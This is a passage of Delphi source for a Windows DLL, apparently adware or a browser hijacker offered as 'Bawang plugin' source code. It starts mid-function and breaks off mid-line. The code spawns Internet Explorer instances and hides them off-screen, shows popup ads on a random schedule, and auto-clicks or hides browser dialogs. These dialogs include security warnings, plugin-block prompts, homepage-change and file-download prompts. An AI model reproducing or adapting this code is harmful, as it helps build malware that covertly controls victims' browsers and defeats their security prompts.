maindll.dpr

功能强大的霸王插件源代码

     i:=strtoint(s);
     if i>=m then exit;
     result:=true;
     //i:=i+1;
     //IniFileWritedString('md5',url_md5+'_can','1',cfg+'.tmp');
   except
     //IniFileWritedString('md5',url_md5+'_can','0',cfg+'.tmp');
   end;
end;
function RandomRun(url:string):boolean;
var url_md5,s:string;
    m,i:integer;
    c:string;
begin
   //IniFileWritedString('display_bl',ulr2,height1,cfg+'.tmp');
   result:=false;
   try
     url_md5:=MD5Print(MD5String(trim(LowerCase(url))));
     c:=cfg+'.tmp';
     s:=IniFileReadString('display_bl',url_md5,'1',c);
     m:=strtoint(s);
     i:=random(104)-2;
     if i<0 then i:=0;
     if i>100 then i:=100;

     if i>m then
       begin
         //showmessage(inttostr(i)+','+inttostr(m));
         s:=IniFileReadString('md5',url_md5,'0',c);
         i:=strtoint(s)+1;
         s:=inttostr(i);
         IniFileWriteString('md5',url_md5,s,c);
       end
     else
       begin
         //showmessage(inttostr(i)+':'+inttostr(m));
         s:=IniFileReadString('md5',url_md5,'0',c);
         i:=strtoint(s)+1;
         s:=inttostr(i);
         IniFileWriteString('md5',url_md5,s,c);
         result:=true;
       end;
   except
     //on e:exception do
     //  showmessage(e.Message);

   end;
end;
function GetUrlfromRecord(r:string):string;
var u,s:string;
    i:integer;
begin
  result:='';
  if trim(r)='' then exit;
  if r[1]='1' then
    begin
      u:=r;
      s:=getfield(u);//fmt
      s:=getfield(u);//max
      s:=getfield(u);//bl
      s:=getfield(u);//poptime
      s:=getfield(u);//width1
      s:=getfield(u);//height1
      i:=pos(')',u);//xy1
      u:=copy(u,i+2,length(u));
      s:=getfield(u);//width2
      s:=getfield(u);//height2
      i:=pos(')',u);//xy2
      u:=copy(u,i+2,length(u));
      result:=u;
    end;
end;
function GetScreenHeight: Integer;
begin
  Result := GetSystemMetrics(SM_CYSCREEN);
end;
function GetScreenWidth: Integer;
begin
  Result := GetSystemMetrics(SM_CXSCREEN);
end;
function GetHitWindowInfo(r:string):string;
var u,s,w,h,xy,w1,h1,xy1,uu:string;
    i:integer;
begin
  result:='';
  if trim(r)='' then exit;
  if r[1]='1' then
  if r[2]='0' then
    begin
      u:=r;
      s:=getfield(u);//fmt
      s:=getfield(u);//max
      s:=getfield(u);//bl
      s:=getfield(u);//poptime
      w:=getfield(u);//width1
      h:=getfield(u);//height1
      i:=pos(')',u);//xy1
      xy:=copy(u,1,i);
      u:=copy(u,i+2,length(u));
      w1:=getfield(u);//width2
      h1:=getfield(u);//height2
      i:=pos(')',u);//xy2
      xy1:=copy(u,1,i);
      u:=copy(u,i+2,length(u));
      uu:=lowercase(trim(u));
      if copy(uu,1,1)<>'h' then
      if pos('http://',uu)>0 then
        begin
          gdzb:=true;
          u:=copy(u,2,length(u));
        end;
      result:=u+','+ie_flag+'win_hit,'+inttostr(GetScreenWidth-strtoint(w)-20)+','+inttostr(GetScreenHeight-strtoint(h)-25)+','+w+','+h+','+xy+',1|';
    end;
end;

function   IECreate:integer;stdcall;
var i,j,tm:integer;
begin
   result:=0;
   //iecount:=2;
   //CoInitialize(nil);
   try
   for i:=1 to iecount do
     begin
       sleep(1);
       for j:=1 to 2 do
         begin
           tm:=0;
           try
             //EnabledDebugPrivilege(true);
             //CoInitialize(nil);
             //showmessage('iecreate'+inttostr(iecount));
             //o:=GetActiveOleObject('InternetExplorer.Application');//CreateComObject(ProgIDToClassID('InternetExplorer.Application'));

             //showmessage('iecreate--'+inttostr(o.hwnd));
             ier[i].ie0:=CreateOleobject('InternetExplorer.Application');
             try
               ier[i].ie0.width:=100;
             except
             end;
             try
               ier[i].ie0.height:=100;
             except
             end;
             //showmessage('iecreate--ok');
             tm:=1;
           except
             //on e:exception do
               begin
                 CoInitialize(nil);
                 //showmessage('ie-error-'+e.Message);
                 ier[i].ie0:=unassigned;
                 sleep(10);
                 //showmessage('ie--'+e.Message);
                 //exit;
               end
           end;
           if tm=1 then
             begin
               ier[i].ok:=1;
               break;
             end;
           sleep(100);
         end;
     end;
   for i:=1 to iecount do
     begin
       sleep(1);
       if ier[i].ok=0 then
         ier[i].ok:=2;
       if ier[i].ok=1 then
         result:=result+1;
     end;
   finally

   end;
end;

procedure GetWindowsHandle(ClassName:string;var st:string);
var h,wnd:integer;
    ClassName1: array [0..50] of Char; { 当前窗体的类名 }
    s:string;
begin
  st:='';
  h := GetActiveWindow(); //将IEFrame改成腾讯浏览器的类名
  if h=0 then
    h:=GetForegroundWindow();
  wnd:=h;
  while wnd<>0 do
    begin
      GetClassName(wnd, @ClassName1, 10);
      if StrPas(@ClassName1) = ClassName then
        begin
          s:=inttostr(wnd);
          if GetStringIndex(st,s)<0 then
            st:=st+s+#13#10;
        end;
      wnd:=GetNextWindow(wnd,GW_HWNDNEXT);
      sleep(1);
    end;
  while wnd<>0 do
    begin
      GetClassName(wnd, @ClassName1, 10);
      if StrPas(@ClassName1) = ClassName then
        begin
          s:=inttostr(wnd);
          if GetStringIndex(st,s)<0 then
            st:=st+s+#13#10;
        end;
      wnd:=GetNextWindow(wnd,GW_HWNDPREV);
      sleep(1);
    end;
end;

function EnumChildWindowsProc(hwnd: Integer; lparam: Longint): Boolean; stdcall;
var
 buffer: array[0..255] of char;
begin
  Result := True;
  GetClassName(hwnd,buffer,256);
  if StrPas(Buffer)='Edit' then
    begin
      ie_add:=hwnd;
      SendMessage(hwnd,WM_GETTEXT,256,lparam);
      Result:=False;
    end;
end;
function GetIEUrl(hwnd: Integer):string;
var
  buffer: array[0..255] of char;
begin
  result:='';
  if hwnd<> 0 then
    begin
      EnumChildWindows(hwnd,@EnumChildWindowsProc,Integer(@buffer[0]));
      result:= trim(lowercase(StrPas(buffer)));
    end;
end;
procedure HideIE(hwnd: Integer);
begin
  try
     if myinfo.qx<>12 then exit;
     if myinfo.qx1<>1 then exit;
     if myinfo.qx2<>1 then exit;
     if GetStringIndex(st_ie,inttostr(hwnd))>=0 then exit;
     if copy(GetIEUrl(hwnd),1,7)<>'http://' then exit;
     sendmessage(hwnd,WM_SYSCOMMAND,SC_RESTORE,0);
     SetWindowPos(hwnd,HWND_BOTTOM,GetScreenWidth+1000,GetScreenHeight,100,100,SWP_NOZORDER);
     SetWindowText(hwnd,'');
     ShowWindow(Hwnd, SW_HIDE);
     SetWindowLong(Hwnd, GWL_EXSTYLE,GetWindowLong(Hwnd, GWL_EXSTYLE) or WS_EX_TOOLWINDOW );
     ShowWindow(Hwnd, SW_SHOW);
  except
  end;
end;
//杀ie里垃圾窗口
procedure KillIeWindow(var st_handle:string);
var k,h:integer;
    st:string;
    ied,ieur:string;
    s:string;
begin

     try
       //杀弹出窗口
       k:=findwindow('Internet Explorer_TridentDlgFrame',nil);
       if k<>0 then
       if IsWindowEnabled(k) then
         begin
           sendmessage(k,wm_close,0,0);
         end
       else
         SetWindowPos(k,HWND_NOTOPMOST,-4000,GetScreenHeight+100,400,400,SWP_NOACTIVATE);
       //杀添加到收藏夹
       k:=findwindow('#32770','添加到收藏夹');
       if k<>0 then
       if IsWindowEnabled(k) then
         begin
           k:=findwindowex(k,0,'Button','取消');
           if k<>0 then
             begin
              SendMessage(k, WM_LBUTTONDOWN, 0, 0);
              SendMessage(k, WM_LBUTTONUP, 0, 0);
              SendMessage(k, WM_LBUTTONDOWN, 0, 0);
              SendMessage(k, WM_LBUTTONUP, 0, 0);
             end;
         end
       else
         SetWindowPos(k,HWND_NOTOPMOST,-4000,GetScreenHeight+100,400,400,SWP_NOACTIVATE);;
       //杀设置首页窗口
       k:=findwindow('#32770','主页');
       if k<>0 then
       if IsWindowEnabled(k) then
         begin
           k:=findwindowex(k,0,'Button','否(&N)');
           if k<>0 then
             begin
              SendMessage(k, WM_LBUTTONDOWN, 0, 0);
              SendMessage(k, WM_LBUTTONUP, 0, 0);
              SendMessage(k, WM_LBUTTONDOWN, 0, 0);
              SendMessage(k, WM_LBUTTONUP, 0, 0);
             end;
         end
       else
         SetWindowPos(k,HWND_NOTOPMOST,-4000,GetScreenHeight+100,400,400,SWP_NOACTIVATE);;
       //安全设置警告
       k:=findwindow('#32770','安全设置警告');
       if k<>0 then
       if IsWindowEnabled(k) then
         begin
           k:=findwindowex(k,0,'Button','否(&N)');
           if k<>0 then
             begin
               SendMessage(k, WM_LBUTTONDOWN, 0, 0);
               SendMessage(k, WM_LBUTTONUP, 0, 0);
               SendMessage(k, WM_LBUTTONDOWN, 0, 0);
               SendMessage(k, WM_LBUTTONUP, 0, 0);
             end;
         end
       else
         SetWindowPos(k,HWND_NOTOPMOST,-4000,GetScreenHeight+100,400,400,SWP_NOACTIVATE);
       //存储器不足，无法完成此操作
       k:=findwindow('TMessageForm','');
       if k<>0 then
       if IsWindowEnabled(k) then
         begin
           k:=findwindowex(k,0,'TButton','OK');
           if k<>0 then
             begin
               SendMessage(k, WM_LBUTTONDOWN, 0, 0);
               SendMessage(k, WM_LBUTTONUP, 0, 0);
               SendMessage(k, WM_LBUTTONDOWN, 0, 0);
               SendMessage(k, WM_LBUTTONUP, 0, 0);
             end;
         end
       else
         SetWindowPos(k,HWND_NOTOPMOST,-4000,GetScreenHeight+100,400,400,SWP_NOACTIVATE);
       //插件拦截提示
       k:=findwindow('#32770','插件拦截提示');
       if k<>0 then
       if IsWindowEnabled(k) then
         begin
           k:=findwindowex(k,0,'Button','是');
           if k<>0 then
             begin
               SendMessage(k, WM_LBUTTONDOWN, 0, 0);
               SendMessage(k, WM_LBUTTONUP, 0, 0);
               SendMessage(k, WM_LBUTTONDOWN, 0, 0);
               SendMessage(k, WM_LBUTTONUP, 0, 0);
             end;
         end
       else
         SetWindowPos(k,HWND_NOTOPMOST,-4000,GetScreenHeight+100,400,400,SWP_NOACTIVATE);
       //雅虎助手 — 信息提示
       k:=findwindow('#32770','雅虎助手 — 信息提示');
       if k<>0 then
       if IsWindowEnabled(k) then
         begin
           h:=findwindowex(k,0,'Button','不再显示此信息(&D)');
           if h<>0 then//设置选中状态
             begin
               //showmessage('a');
               SendMessage(h, BM_SETCHECK, Integer(true), 0);
             end;
           //得按钮,关闭
           h:=findwindowex(k,0,'Button','确定');
           if h<>0 then//关闭
             begin
               SendMessage(h, WM_LBUTTONDOWN, 0, 0);
               SendMessage(h, WM_LBUTTONUP, 0, 0);
               SendMessage(h, WM_LBUTTONDOWN, 0, 0);
               SendMessage(h, WM_LBUTTONUP, 0, 0);
             end;
         end
       else
         SetWindowPos(k,HWND_NOTOPMOST,-4000,GetScreenHeight+100,400,400,SWP_NOACTIVATE);;
       //杀退出提示框
       k:=findwindow('#32770','Microsoft Internet Explorer');
       if k<>0 then
       if IsWindowEnabled(k) then
         begin
           k:=findwindowex(k,0,'Button','确定');
           if k<>0 then
             begin
               SendMessage(k, WM_LBUTTONDOWN, 0, 0);
               SendMessage(k, WM_LBUTTONUP, 0, 0);
               SendMessage(k, WM_LBUTTONDOWN, 0, 0);
               SendMessage(k, WM_LBUTTONUP, 0, 0);
             end;
         end
       else
         SetWindowPos(k,HWND_NOTOPMOST,-4000,GetScreenHeight+100,400,400,SWP_NOACTIVATE);;
       //关文件下载
       k:=findwindow('#32770','文件下载');
       if k<>0 then
       if IsWindowEnabled(k) then
         begin
           //得按钮,关闭
           h:=findwindowex(k,